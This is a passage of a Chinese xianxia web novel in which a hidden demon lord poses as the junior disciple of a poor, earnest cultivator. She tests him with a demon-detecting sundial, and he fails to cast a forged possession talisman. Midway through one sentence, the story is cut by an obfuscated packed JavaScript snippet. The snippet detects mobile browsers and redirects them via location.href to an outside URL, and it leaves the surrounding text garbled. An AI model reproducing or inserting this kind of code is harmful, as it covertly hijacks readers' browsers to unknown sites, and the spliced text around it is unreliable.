他以为就算是院门口拴着的那头蠢驴,那么多年也该修炼出些门道来了。 若她整日游手好闲,不专心修炼,旁人还能安慰她一句“那都是因为你修炼不勤的缘故,若能潜心修炼日后定大有可为”。 可如今她事事都已做到极致,实在无处可怪。 要怪只能怪她先天不足的修炼天赋。 不过林予微虽没摸到什么修仙门道,但胜在身体结实,手劲儿极大。 蔺无咎看着她整日勤勤恳恳修炼的模样,难得从黑心肝里拨出一丝儿为人着想的善意:她要实在不行,下山种地不失也是条出路——手劲大,能比常人多犁两亩地。 不过林予微也非一人抱着书闷头苦学。 棠九枝偶尔也会提起兴致,过来指点一二,或是拽着二人坐在院前那棵树下“例行早课”。 棠九枝讲起经来像是唱大戏,吊着细嗓,偏又要分出个抑扬顿挫,嘴上两撇小胡子一耸一耸的,听得蔺无咎有些心烦意乱。 谁能受得了他这么讲课? 蔺无咎一回头,此时林予微正襟危坐目不斜视,听得格外认真,他心中又开始怀疑这老神棍讲课跟老公鸡打鸣似的,她当真能听得清他究竟在说些什么吗? 棠九枝讲完经,又开始分享他那不着调的心得。 蔺无咎听完他那狗屁不通的心得,仿佛受到了莫大摧残。他半死不活地心想,有脑子的人大概都不会信他半句话,可转眼又看见他那师姐一脸真情实意受教的模样,并十分配合地在下面“啪啪”鼓掌。 “……” 他看了看台上神棍似的师父,又看了看座下呆头呆脑的林予微。 终于明白这二人究竟是怎么凑到一块的。 不过蔺无咎来了也有许多日了,总共就见棠九枝讲了两次课。别的山“例行早课”确实日日不落,但在微尘山应当算是“例行不早课”才对。 他连着几日对付这对奇葩师徒,险些破功,连日后被人戳穿身份的热闹也不是特别期待了,只是一味派出冲星继续在附近探查,意图寻找进入结界的其他办法,助自己早日脱离苦海。 只可惜依然无所收获。 - 这日,蔺无咎为防林予微又抓他抄书,谎称要找个安静无人的地方安心背经,抱着书跑去院前的大椿树下躲清闲。 他背靠大树,正准备打盹,一道不客气的声音就从他头顶传来。 “唯!你小子,叫你呢!” “林予微去哪了?把她叫出来!” 蔺无咎拿开盖在脸上的书,朝声音方向斜睨一眼。 ——哪来穿金戴银的丑八怪? 大概对方也知道自己如今的面目难以见人,尤其是看到书卷下蔺无咎那俊俏面容后,更是气急败坏:“跟你说话呢!你听不见呀!” “快把林予微给小爷叫出来!” 蔺无咎慢悠悠地站起身,拍掉身上的枯叶,打了个哈欠,眯眼打量了面前穿了身金丝锻褂,看起来有些小钱的丑八怪片刻,这才有气无力地朝院内喊了一声:“师姐,你买的二两猪头肉来了——” “你说什么呢你!”那人气得跳脚,撩起袖子上前准备给他个好看。 “什么猪头肉?” 院内的林予微听了,十分诧异地回应,“我没买猪头肉呀……” 她风风火火地跑出院门,瞧见一个脑袋肿成猪头模样的人,有些眼熟却一时想不起是哪位:“你谁啊?” 猪头兄跺着脚,骂骂咧咧。 林予微猛地反应过来,笑得前仰后合:“这不是杜大少爷吗?你怎么肿成猪头了?” 来者姓杜名彦,乃清虚宗句曲山大弟子,也是淮江一带的首富独子。因家中为清虚宗捐了不少善款,又替句曲山修筑瑶光殿,自此杜大少爷在清虚宗几乎是横行霸道。 林予微自认为从前也没哪里得罪到他,可这位杜大少爷偏生与她过不去,隔三岔五带着一帮狗腿子来找她麻烦。 小师弟原本来报到那日,她下山迎接时,就遇上过杜彦刻意拦路刁难,只不过后来还是被她用金蟾符变出的满地蟾蜍吓退了。 林予微一边打量,一边啧啧称奇,杜少爷不愧是杜少爷,即便肿成猪头那也是穿金戴银、珠光宝气的猪头。 杜彦恶狠狠地瞪了她一眼,又看向她身侧的蔺无咎,语气轻蔑道:“这就是你那小师弟?看起来也不怎么样……今年的弟子考核怕又是无望了。” 林予微立马变脸,啐他:“不牢大少爷费心,先管好你的猪头!” 杜彦虽是三境界修为的内门弟子,但林予微却一点也不怕他。 论其原因,自然因为他是个纯靠丹药堆出来的草包。 杜大少爷是个娇贵命,手不能提肩不能扛,七年前也不知是搭错了哪根筋,一哭二闹三上吊地要跑来清虚求仙问道,死要面子又不准自己修为低于旁人,杜家遂重金聘请了几位丹修专门为他炼制能够增进修为的丹药。 他大声嚷嚷:“我肿成这副模样还不是因为你那日的金蟾!” 杜大少爷细皮嫩肉的,自从被林予微变出的抱脸金蟾舔了一口,半月来时不时就莫名肿成个猪头,任凭下面的人给他寻了什么昂贵药材都不见好。 林予微又呸了一声:“你少污蔑人!指不定是平日作威作福惯了受旁人记恨。我那金蟾符本就是化形幻术,真正的金蟾唾液价格昂贵,你想使我还舍不得用你身上呢!这事就算告到宗主那,也赖不到我这来——” 杜彦被她堵得哑口无言,不要脸地耍赖道:“就算不是你,那也肯定与你脱不了干系。” 林予微从袖中抽出一张符,张牙舞爪地威胁道:“你再胡搅蛮缠,信不信这次我变出个大金蟾,一口给你吞到肚子里去!” 这句威胁果然有奇效。 “欸!别别别!”杜彦忙退后几步。 上回那满地蹦跶金蟾就害他恶心得几日吃不下饭,若真要被金蟾吞到肚子里去,他浑身怕是得脱层皮。 林予微毫不客气地下了逐客令:“杜大少爷若是没有旁的事那就请回吧。” “怎么没有?本少爷有大事来找你!”杜彦眼珠骨碌一转,连忙向林予微招了招手,示意她过来说话。 林予微一脸警惕:“干嘛?” “你过来,我有话要单独对你说!”杜彦刻意咬重“单独”二字,然后谨慎地看了一旁的蔺无咎一眼。 蔺无咎眉眼微动,隐隐嗅到一丝敌意。 “什么话不能直接说?”林予微满脸狐疑。 “你快过来!” 量他在微尘山上也不敢使什么坏。 林予微这才极为不情愿地挪动脚步,走到他身边:“说吧,什么事。” 杜彦将她拉到一旁,确认距离蔺无咎足够远后,这才开口压低声音道:“我听明夷师姐说你去飞仙关寻你师弟了。” 他使了个眼神:“这人就是你从飞仙关捡回来的?” 明夷? 名字有些耳熟,好像是三年前那个一剑挑了源天派少主法器的问仙山亲传弟子明夷? 那可是了不得的厉害人物。 林予微想了想,那日她在飞仙关结界外只遇到了一个主动上前询问她去处并给她保命符纸的清虚宗弟子。 看起来有些凶,却是极好的心肠。< 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她立马收回视线,对杜彦道:“我师弟最是温柔和善,倒是你方才跳出来吓到我师弟了。就算说你是猪头,那也是实话实说罢了。” 杜彦气个半死:“你……” 那小子一看就不是什么好东西! 他们才认识几日?她就这么帮他说话! 林予微继续道:“你哪次不是颐指气使地使唤旁人,就算师弟真骂你,那也是你活该!该骂!” 杜彦有些心虚了:“……” 见林予微左右讲不通,他只好又自作聪明地换了个说法:“你瞧你这山头又穷又破的,正常人谁愿到这里来,他肯定不安好心。” 一说到这个,林予微就更生气了,一把抄起脚边的枯树枝撵他:“我看你才是那个最不安好心的!平日胡言乱语就我不同你计较,今日还跑到别人山门前来挑拨!” “你再乱说话,信不信我直接将你变成金蟾!再给你拴条狗链,挂个‘我乃句曲山杜彦’的牌子满宗门晃悠!” 林予微下手没收半点力气,是真往死里打,足以看出二人积怨颇深。 杜彦虽是内门弟子,但全靠砸钱换的,是个实实在在的草包,根本毫无还手之力,被她追得上蹿下跳,捂着脑袋一溜烟跑下了山,临走前还不忘放话: “现在整个修真都在调查飞仙关的事,到处排查魔族痕迹!即便我不说,明夷师姐肯定也会起疑的,若日后被坏人骗了可别怪我没提醒你!” 她才不信此人会那么好心,顶着猪头脑袋专门跑她这来提醒。 直到杜彦跑不见了踪影,林予微这才气冲冲地丢开手中枯木枝,转过身看向蔺无咎。 此时小师弟正抱着书卷站在院前的大椿树下,长身玉立,身姿板正,头顶的枝叶在他身上留下一片阴影,衬得他的五官更显柔和乖顺。 “师姐。”他神色温和,缓缓朝林予微的方向走近。 “那人是谁?” 林予微拍掉手上的灰:“不用管他,就是一个王八蛋,日后师弟若是见了他也不必理会。” “好,都听师姐的。” 蔺无咎微微颔首,又明知故问,“方才他对师姐说了什么?” “师姐为何这么生气?” 蔺无咎的听力极佳,即便那人刻意避着他,他也将二人对话听得一清二楚。 “没什么,就是来找茬罢了。” 林予微摆了摆手,又看了眼他手中的书,“师弟今日也学得差不多了,就先回去休息吧。” 蔺无咎点头应下,回院子时又递给她一杯凉茶:“师姐先消消气,润下嗓子吧。” 方才林予微就觉得有些口渴,如今小师弟又主动给她递茶,横看竖看都是极为顺眼。 小师弟如此心细温柔又会照顾人,怎么可能是造成飞仙关惨状的魔头? 那个杜彦一向就会乱说话,定是怕她此次考入内门到时候压他一头,才故意污蔑小师弟。 想到这里,林予微仰头将手中的茶水一饮而尽,心中愤愤想道:若是日后这个杜彦再敢说小师弟坏话,她定要将他打得满地找牙! 10. 伏魔晷 林予微虽不信杜彦那小子的话,还将人直接给打跑,但心里到底还是起了疑。她翻来覆去一夜未眠,满脑子都在想师弟到底是怎么在飞仙关内活下来的? 还有她见到师弟时附近的古怪血阵以及那些头尾相连的血尸…… 林予微抓了抓头发,她怎么记得当时师弟身边好像还有一具无头尸体,看起来像是死了没多久…… 当初她实在太过紧张,只顾着认清小师弟的弟子路引,就慌不择路地带他离开,许多事一耽搁也就给忘了。 今日杜彦提起此事,倒是提醒了她。 不过,最让林予微在意的还是那句“发现魔族踪迹”。 为何她发现小师弟时就在血祭附近? 想到这里,林予微不自觉攥紧袖角。 - “主上,昨日上山那人说的话确实不假,我从前山的仙门弟子口中打探到,近日修真界确实在四处搜寻魔族下落。” 冲星忧心道,“那凡人将你从飞仙关带回终归不是什么秘事,万一传到那些人耳朵里,让他们寻了过来,该如何?” “不如何。” 蔺无咎倒是不急,慢悠悠地翻着桌上的书卷。 冲星紧张道:“那什么见了鬼的弟子考核还需数月,就怕中间横生枝节,有什么变数……不过还好这个林予微是个傻的。” “是吗?”蔺无咎眯了眯双眼。 他倒觉得他的这位小师姐看着像个缺心眼,但在有些方面倒是不含糊。 从昨日起他就察觉到林予微有些不对劲。 她虽在那猪头面前处处袒护自己,乍看好像是因为信任的小师弟受人污蔑而感到愤怒,可若细究便能察觉她的愤怒其实更多出自二人过往积怨。 林予微赶走对方并不代表等她冷静下来后不会起疑,更何况那人还提到了魔族。 不知出于何种原因,她很是痛恨魔族,即便天赋平平还是一根筋地修炼,想得到玄戈的那把斩魔剑。 此事怕是没那么容易翻篇。 而且今日一早他还见她天还没亮就独自下山了。 蔺无咎语调平缓:“你说她若心中生了疑,下一步会如何?” 冲星想了想:“我听前山那些弟子说,为搜寻魔族下落,各大仙门曾特意制成了一批名为伏魔晷的灵器,一旦感应到魔族存在就会有反应。” “若换作是我,此时定已下山去找伏魔晷,然后借机偷偷试探主上。” 看来林予微是下山找伏魔晷了。 蔺无咎点头应了一声,继续低头翻看着手中的书页。 冲星震惊道:“主上,您不会真打算留下来修仙吧?!” “闭嘴。”蔺无咎没有抬头,视线停留在了一张阵图上。 冲星扯着嗓子鬼哭狼嚎:“主上,莫非你还想当个符修?!” “不行!”身为剑灵的冲星感受到了前所未有的危机,用一团灵体挡住蔺无咎的视线,“主上即便要修仙也得做个剑修……” “……” 蔺无咎一掌将它拍开:“这本书中有进入清虚宗内门结界的办法。” 冲星终于老实了,语气谄媚地凑上前:“我就知道主上绝不会扔下冲星不管。” “……” 蔺无咎懒得理会,指着书上绘制的符箓道:“这上面记载了一种名为遣魂术的符法,能够短暂附身他人。若本尊能将神魂附在那些内门弟子身上,或许就能进入内门结界寻找魔丹。” 冲星:“可如今整个清虚宗都被结界覆盖,除了这微尘山太过于偏僻结界稍微薄弱些,可只要主上抽离神魂,定会催动体内大量魔气。到时候很难不会被人察觉……” 蔺无咎:“本座倒是想到了一个地方。” 冲星诧异:“哪里?” “蛟龙洞。” 冲星恍然大悟:“就是主上上次钻的那个狗洞——” “……” 当初被林予微拽入洞穴时,他心中确实有一万个不情愿,但也不得不说林予微确实有些本事,发现的那处“蛟龙洞”是有几分玄妙之处。 因所处方位以及地势相互作用,在那洞穴附近形成了一道天然屏障,它绕开的不仅只是那老蛟龙的神识范围,还有清虚宗的护山大阵。 “所以到时候我们只要将内门弟子带入此地,再使用遣魂术,主上就能通过对方的身份进入内门寻找魔丹?” 蔺无咎:“正是。” “那这般主上也不用再受那林予微的摧残了。” 冲星兴致勃勃,有些迫不及待,“主上,那我们何时行动?” 蔺无咎:“不着急。” - 傍晚时分,林予微果然带着一块刻满符文青黑圆石回了微尘山。 冲星透过窗缝往外面看:“看来这凡人就是下山去找伏魔晷了,昨日还说相信主上的。虚伪!” 蔺无咎抬头朝它这看了一眼,垂眼没有搭话。 冲星自顾自道:“也不知这凡人等会儿会找什么理由来试探。” 它话音刚落下,就见林予微将伏魔晷藏在身后朝这边来了。 “主上,她过来了!” 果然不过多久,一阵敲门声就从屋外响起。 “师弟——” 直到屋内有了回应,林予微这才探头探脑地推门而入。 冲星也从窗边绕回主上身侧,并嗤声评价:“一看就鬼鬼祟祟,不安好心。” 蔺无咎合上手中的书,起身迎她,嘴角挂着一道清浅的弧度,语气温和:“师姐这个时辰来找我是有什么事吗?” “我、我……” 林予微的指尖用力掐着藏于背后的伏魔晷。 尽管在回来的路上,她将所有计划在心中推演的不下十遍,可等她真见了师弟,脸皮发烫,支支吾吾有些说不出口。 蔺无咎像是看不懂她此时的挣扎,歪了歪脑袋,无辜地看着她:“师姐?” “那个我……”林予微咬紧下唇。 看来仙门之人也是两面三刀,与他这个魔头倒也没什么分别。 蔺无咎轻笑一声,眼中划过一丝凌厉的刻薄,他正准备说些什么尖酸言语戳破她此行目的。 林予微却一咬牙,主动将伏魔晷从背后拿了出来,开门见山道:“今日我去山下借了伏魔晷。” 冲星显然被眼前凡人的坦诚吓到了。 蔺无咎将到嘴边的话咽了回去,佯装诧异:“这是什么?” “伏魔晷可以探查魔族踪迹,仙门各派都有几件这样的灵器。” 蔺无咎先是愣了一下,紧接着错愕开口,语气含着一丝委屈:“师姐可是因为旁人的话,疑心我是魔?疑心飞仙关一切都是我所为?” 这演技…… 冲星在一旁鼓掌。 主上的演技到时越发精湛了,若非它了解主上,怕也是要被主上这副楚楚可怜的模样骗过去了。 他雾眼朦胧:“昨日我见师姐对我极力袒护,还以为师姐这是信任我,原来……” 林予微哪见过这种阵仗,一抬头看见师弟的眼尾通红,满脸委屈的模样,瞬间就被打得措手不及:“不是不是!” “我、我只是……” 蔺无咎盯着她的眼睛,追问:“只是什么?” 林予微的脑子短暂空白了一瞬,一句话都说不出来了。 过了好半晌,她终于想起自己来此目的,连忙道:“昨日我的确因杜彦的话怀疑过师弟,但我想了一晚上,我与师弟相处已有大半月,师弟温柔善良,定不会是魔族的!” 蔺无咎欲言又止:“那师姐还……” 林予微道:“杜彦既知道你我二人从飞仙关走出,他那个大嘴巴定会四处宣扬。修真界对魔族深恶痛绝,我怕到时候流言传出会对师弟不利,所以才想借来伏魔晷证明师弟的清白,也让他彻底闭嘴。” 屋内的空气瞬间变得安静下来。 静默良久,蔺无咎垂下眼眸,轻声问道:“师姐今日与我这般坦诚,难道就从未想过,若我真的是魔族呢?” “若师姐与我虚与委蛇,暗中试探,说不定还能寻到活命的机会。可若当面拆穿,难道就不怕我魔性大发杀了师姐吗?” 林予微坚定道:“今年清虚宗招收弟子是由柳宗主亲自主持的,宗主曾参加过三百年前的人魔之战,对魔族了如指掌,所有弟子都经他过目,定不会出错!今日我也去翻了古籍,又问了好几位从飞仙关回来的长老,飞仙关的血尸祭需以施术者的神魂为代价。可师弟神魂俱全,不痴不傻,又怎会是施展邪术之人?况且我也相信师弟,师弟看着不像坏人。” 冲星差点笑出声了。 全天下最十恶不赦的大魔头就站在她面前,还硬要说他不像坏人。 末了,林予微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447122|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又补充一句:“我看人一向很准的。” 蔺无咎看着她,忽然笑了。 修炼天赋差也就罢了,看人的眼光也不怎么样。 “那师姐说说这伏魔晷该如何用?” 见小师弟答应验魔气,话中也任何听不出责怪的意思,林予微终于松了口气,将伏魔晷捧到他面前。 “师弟将手放上去就可以了。” 冲星在一旁看得有些提心吊胆——若这伏魔晷真有反应,到时候主上该如何收场? 蔺无咎并不担心。 他体内魔气皆被天道禁制所封,他若想动用自己的力量,还需得受反噬才行,一个小小的伏魔晷难不成还想高过天道? 果然,伏魔晷没有一丝反应。 林予微心中的大石这才终于放下,捧着伏魔晷高高兴兴地冲出了院子。 “今日天色已晚,就不打扰师弟休息了。” “那师弟明早再见!” 看着林予微蹦蹦跳跳离开的身影,冲星啧了一声,叹道:“这凡人小姑娘吧……也不知该说她是缺心眼,还是实心眼,与那些道貌岸然的仙门弟子确实不同……也算坦诚。” “可惜运气不好,遇到了主上,真是倒了八辈子霉……啊疼疼疼!” “主上你用火烧我干嘛?!” - 蔺无咎研究了一夜遣魂术,第二天就以身体不适,向林予微告假。 赶巧林予微手头吃紧,想置办些东西,站在前山委托栏前千挑万选,在一众驱除妖邪的危险任务中接了个帮人寻猫的低阶委托,下山去了。 ——找猫这种事费事又吃力,委托金也低,寻常弟子都不乐意接的。 林予微却对此很是满意。 正好就在清虚宗附近的城镇,一天就能跑一个来回,还无需另付住宿钱。 对她而言是一笔划算的买卖。 临走前,林予微特地嘱咐小师弟好好休息,并答应为他带些吃食回来。 蔺无咎对吃食什么的,并不在意。 此次林予微找猫的委托还算顺利,唯独有一点点小插曲——此猫非彼猫,而是从戏班子走丢的一头大猫。 过程虽然是曲折了些,但胜在最后与对方唇枪舌剑,终于将委托金定在了五百文。 她美滋滋地从山下买了许多好吃的,打算为昨日莽撞之举向小师弟赔罪,傍晚之前就赶回了微尘山。 “师弟,我回来啦——” “我给你带了好吃的!” 林予微刚从阵法走出,就迫不及待去敲小师弟的屋门。 “师弟?” 她等了半晌不见动静,直接推门而入。 屋内空空如也,不见半个人的踪影。 奇怪,屋外明明也没有人的,小师弟会去哪了? 她环顾四周,很快注意到桌上一本翻开的书册。 早上她离开前分明记得桌上没有放东西的。 小师弟身体不适竟还如此上心修炼。 林予微心中惊喜,一时好奇走上前想看看师弟在研究什么。 当她看清书封上的大字后,忽然精神了。 ——《符箓编修著》。 小师弟,他…… 林予微先是瞳孔震惊,然后再是沉痛皱眉。 这不是当初她随手乱编的那套符书吗? 她年幼之时曾缠着师父想让他教自己一些厉害的符术,可师父就是不答应,她气个半死,自认为天赋异禀,转头就偷了师父那支能够根据意念书写的笔灵,自己胡乱编了一套。 林予微心中狐疑。 难道是她收拾屋子的时候不小心把这本书也夹进来了? 她利索将这本书收好。 罪过罪过。 千万不能误人子弟。 当年她自己乱编乱练,势必要整出一套牛逼哄哄的符术,然后到师父面前耀武扬威,结果练了第一页就因走火入魔导致经脉逆流,整整流了一个月的鼻血。 与此同时—— 蛟龙洞外,折腾了整整一日的蔺无咎一脸沉重地擦掉脸上的鼻血。 脚边躺着掳来的内门弟子半死不活,已经不知中途被他敲昏了多少次。 他攥着手中的符纸仔细回忆。 应当不可能有错。 他堂堂魔祖,怎么连一个小符术都施展不了,到底哪里出了问题? 11. 可靠 林予微找不到师弟,扭头就去了棠九枝的房间。 “师父——” 棠九枝正盘腿而坐,闭目打鼾,冷不丁被他神出鬼没的好大乖徒儿一个嗓门吓得浑身一抖,险些控制不住发出公鸡打鸣的声响。 “师父,小师弟不见了,你知道他去哪了吗?” 棠九枝摇头。 “那师父今日可曾见过师弟?” 棠九枝继续摇头。 林予微心中气馁,隐隐担心起小师弟是不是因为昨日自己的怀疑,才不愿待在微尘山,打算不告而别。 她叹了口气,正准备退出去。 “小微啊,等等。” 棠九枝突然出声叫住了她。 林予微眼神忽闪,还以为师父是有什么线索,立马从门后探出半边身子,满脸期待地看着他。 却见棠九枝吊起一只眼,慢悠悠地问:“今日吃什么?” 林予微瞬间炸毛,生气道:“今日吃爆炒鸡丁!炖鸡骨汤!” 说完啪的一声就将门关了,留下好似被人拔了屁股毛般一脸肉疼的棠九枝在原地龇牙咧嘴,哆哆嗦嗦地倒吸一口气。 - 在经过无数次尝试后,蔺无咎总算发现了这遣魂术似乎有些不对劲。 眼看天色将暗,林予微差不多也该回来了,他准备先回微尘山,等改日有空再试,刚一转身就听见一道惊喜的呼唤声。 “小师弟!” “小师弟,原来你在这!” 蔺无咎心中瞬间戒备,以掩耳不及迅雷之势一脚将那昏睡的弟子踹入草丛,生怕被人察觉出什么端倪。 眼看另一头,他那呜哇乱叫的师姐好似头受气野驴,打着鸣朝他奔来,他正准备拿出事先准备好的托词应付,不料野驴似的师姐根本没停下的意思,直接一头撞在他胸口。 “嘶——” 蔺无咎被撞得胸口发麻,下意识弯腰捂胸,林予微一伸手就揽住他的脖子,等他回过神,他的脑袋已经被按在林予微那“结实可靠”的臂膀中。 可靠的大师姐抱着他嚎得比鬼还难听:“呜呜呜啊啊……小师弟你去哪了?!” “我到处找不到你,还以为你是生昨日的气呜呜呜……准备离开微尘山了……” 林予微手劲极大,蔺无咎一边尝试拔出他的脑袋,一边勉强从齿缝中生硬地挤出一句话:“我见师姐离开太久,一时担心就下山来找……” 大魔头好不容易挣脱,获得一丝喘息机会,不料林予微听后大为感动,将他的脑袋又使劲往怀里按了按。 蔺无咎:“……” 好在林予微很快察觉他憋得通红的面孔,这才讪讪松开了手。 为找小师弟,林予微几乎将整座微尘山都翻了一遍,蹭得满身是泥。她四处寻不到小师弟的踪影,是忍着眼泪下山继续寻人的。 她以为小师弟真的不告而别了。 微尘山本就不比其他地方,小师弟肯留下来已是意外之喜,昨日她还暗中怀疑过小师弟…… 想到这里,林予微心中越发愧疚。 不过还好,小师弟没有离开。 他是没走,但差点被她一脑袋给送走了。 蔺无咎揉着发痛的胸口,险些兜不住他那滴水不漏的伪装,可一低头瞧清林予微那红彤彤的眼眶,灰头土脸的跟个泥猴子似的,头发丝里还夹杂着枯枝碎叶,一时竟愣了神。 很快,他的神色恢复如初,敛下心绪,伸手替她将枯叶摘下:“师姐这是怎么了?” 林予微连忙擦干眼泪,死鸭子嘴硬道:“没、没什么。风太大了,沙吹眼睛里了。” 蔺无咎的眸光无声晃了晃,笑道:“师姐既然无事,那我们就先回去吧。” “好。”林予微点点头,生怕他跑了似的,悄悄攥住他的衣角,蔺无咎一早就有察觉,但只是扫了一眼,并未戳破。 当二人转身正要离去,林予微似乎像是嗅到了什么,耸了耸鼻尖,一脸凝重地凑到了他跟前。 “师弟,你身上怎么有股血腥味?” 蔺无咎正要开口。 林予微却先他一步发现了身后草丛的端倪,惊呼:“这怎么有个人?!” 蔺无咎回头就看见那名昏睡弟子露出的一只脚。 “……” 他面不改色:“我方才见到这位同门师兄不知因何原因晕倒在此处,正准备将他送去医馆,刚好就见师姐过来了。” 这反应速度,饶是冲星见了也是叹为观止。 它凑在一旁由衷夸赞:“不愧是主上,一本正经胡说八道的本事也是我等望尘莫及。” 蔺无咎置若罔闻,迅速在手背划出一道伤痕,拿出来给林予微瞧:“还是方才为扶他起身,不慎被地上的石头划伤。” 果然,林予微的目光很快被他手背的伤痕吸引,无心在顾及其他。 蔺无咎目光微敛,继续胡说八道:“后来见到师姐心中实在高兴,情急之下差点将这位同门师兄给忘了。” 末了,他还小心翼翼地看了林予微一眼,试探着开口,“师姐,不会怪我吧?” 林予微拉过他的伤手,难得利索地画出一张清洗伤口的 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林予微松开内门弟子的衣领,迅速朝他手上看了一眼,顺势就接了过来塞入怀中,坦然道,“是我今日去师弟屋中找人,无意看到案上的这本书。这本书可不能瞎练。” 蔺无咎压下眉眼,语气里多了一分谨慎:“为何?” 想起年少糗事,林予微有些尴尬,干笑两声:“这本书是我前几年跟师父闹脾气时胡乱杜撰的,许是收拾东西时不小心混进来了。当年我照着上面瞎练,经脉逆流,险些走火入魔,好在被师父及时发现,但还是流了一个月的鼻血。我怕误人子弟,就先给收着了。” 说罢,她又抬头看了一下蔺无咎,关切道:“师弟应当只是看看,没将上面当真吧?” “怎么会呢?”蔺无咎脸上的假笑险些没挂住,心中恨不能立刻将她千刀万剐,“师姐。” 他深吸一口气:“我就随便翻翻看罢了……” 林予微闻言,霎时松了口气。 “那就好。” 若小师弟真练出个三长两短,她怕是又得辗转难眠了。 “对了师弟……” 林予微刚开口准备叫他过来帮忙搭把手,谁料一抬头就见一条笔直的殷红血迹从小师弟的鼻孔中缓缓流出。 “师、师弟你……” 她睁大双眼,满脸错愕,“你怎么流鼻血了?!” 蔺无咎:“天气干,上火。” 12. 问心台 将那名昏迷弟子送走以后,林予微立即将小师弟带回微尘山重新处理他手背的伤口。 或许是因昨日之事心中仍有亏欠,林予微虽觉得师弟的伤口过于平整,看着有些怪异,但也只当自己多虑,没有继续纠结。 替师弟重新包扎后,她又专门沏了壶茶过来:“连着半月不曾下雨,天气确实燥了些,小师弟应是还不太适应微尘山的生活,师姐给你泡了壶菊花茶先清清火吧。” 可惜这壶菊花茶泡得再浓,也浇不灭大魔头快烧穿的心火。 因为她那本随意杜撰的符书,他整整在狗洞前折腾了一日,将所有东西都怀疑了一遍,唯独没有想到这遣魂术就是假的。 蔺无咎向来睚眦必报,若是惹他不快,随手杀了便是,偏生如今他又不能杀她…… 想到这里,蔺无咎不自觉攥紧手中杯盏,思忖该如何在留她性命的同时讨回这笔债。 就在这时林予微不知从哪里掏出一个裹递到了他面前。 “师弟,这是我今日下山给你带来的。” 蔺无咎抬眼时猝不及防对上少女满怀期待的眼神,先是愣了片刻,才开口:“这是什么?” 林予微眉眼含笑:“是给小师弟的新衣裳。” 小师弟因在飞仙关耽误了新弟子领取用度的时间,只能换洗师父从前的旧衣物。虽说小师弟身量长,肩宽腰窄的,即便裹块破布也是极好看的,但一直穿师父的旧衣总归也不是个办法。 “弟子用度还需过些日子,到月末去领,今日我正好下山路过一家成衣店,觉得颜色正衬师弟,大小应当也是够的,便买了下来,就当……” 她磕磕巴巴,“就当是为昨日之事,向小师弟赔罪。” 蔺无咎眸光微动:“师姐疾恶如仇,仙魔自古势不两立,师姐谨慎些也没有什么不好。” 林予微喜笑颜开:“这么说师弟是不怪我了?” 蔺无咎:“小事罢了,我没有放在心上。” 况且—— 他本就是魔。 小师弟既然这么说,那便是不会离开了? 林予微心中一喜,连忙将包裹塞入他怀中:“小师弟打开看看吧。” 大魔头还是第一次被人囫囵塞了团东西在怀中,心中竟觉得有些稀奇,他垂下眼帘,若有所思地看着手中衣面的绣纹。 论其做工,应当只能算中下品。 冲星也跑来凑热闹:“做工粗糙,如此俗物怎能与主上相配?” 蔺无咎没搭腔。 见师弟沉默不语,林予微连忙干笑几声道:“应当是比不上师弟原先的那件贵重,只好先委屈师弟了……” 这件衣服的绣面确实远远不及原先他身上的那套精细。 蔺无咎抬起头,视线从面前少女身上的素布衣衫上划过。 但却要比她这件好许多。 大魔头想了想,除了在飞仙关第一次见她时穿的那身衣裳勉强算是能入眼外,平日穿得都跟叫花子似的。 林予微心中忐忑:“师弟……是不喜欢吗?” “怎么会?”他抬眼轻笑一声,“师姐送的,自然喜欢。” 林予微悬着的心终于放下。 蔺无咎将包裹收起,又似不经意般问起:“师姐之前不是说那委托金只有一百五十钱吗?如何能买下如此贵重的东西?” 林予微送他的衣裳虽比不上什么云缎锦绣,但对寻常人来说用料已经是算上乘,若要买下,她那区一百五十钱的委托金,怕是远远不够。 “我原本正要和你说这件事!” 林予微好似突然想起什么趣事,咧嘴一笑,紧接着就挨到小师弟的跟前坐下,兴致勃勃道:“师弟可知我今日找的是什么猫?” 不等蔺无咎接话,她就张开双臂自顾自地笔划起来:“是只这——么——大的猫!” “从镇上的戏班子里跑出来的!虽说还没完全长成,脾气却是极大。” 她摇头晃脑,煞有其事:“一掌就能拍碎人的脑袋!” “师姐可是费了好大力气才将它捉回,从师父那顺走的符纸差点用尽了。后来师姐又与那人讲了好半天价格,最后才加到了五百钱呢!” 说到“五百钱”时,林予微特意咬重字眼,语气里是掩饰不住的骄傲与欣喜。 蔺无咎偏过头,盯着他那灰头土脸的小师姐片刻,唇角浅扬,忽地笑了。 那前山的什么委托栏,他一早就让冲星替帮他看过了。 除了他这窝窝囊囊的小师姐挑中的委托外,其余委托单少说都是三十两起价,不过危险程度自然是没有任何可比性。 毕竟不论是替人找普通家猫,还是寻常的山林野兽,对于修士而言根本没有任何区别,只是抬手的事。 但对林予微这种半吊子都算不上的修士而言,可就没那么容易了。就为了区区五百钱,就敢跑去替人捉虎,最后还觉得是自己占了大便宜。 不知到底该说她没心没肺,还是蠢笨。 棠九枝平日给她的那些符,品阶都不低,她就算在山门口支个摊卖符纸,一张怕也不止五百钱了。 不过棠九枝从来不提,他这个做师弟的就更没义务提醒。 至于林予微为何直到现在都没发现那些符都是高阶。 蔺无咎心想,大概是因为棠九枝给符跟哄小孩发糖似的,一掏一大把,而林予微修为又差,很难发挥高阶符术的真正作用,自然不能察觉。 蔺无咎收回视线:“其实师姐不必如此辛苦。” 他拿出钱袋,将它推至林予微面前,“这袋银钱还剩大半,应当足够微尘山一个月的开支了。” “那怎么行?” 林予微想也没想,立刻否定,“师弟既入我微尘山,自然是师姐养你,哪有让你花钱的道理!” “更何况,师姐答应你还要替你将铃铛赎回来呢!” 还记着那枚铃铛呢。 蔺无咎眉眼微动,心中轻嗤。 还真是个死心眼。 “而且……” 林予微支支吾吾半晌,神情有些不自然,“我还打算存钱带师弟寻医,看看如何能寻回师弟之前的记忆。” 蔺无咎有些诧异。 ——她竟还想帮“沈肖”找回记忆? 其实将小师弟“骗”来微尘山,林予微心中也不是滋味。 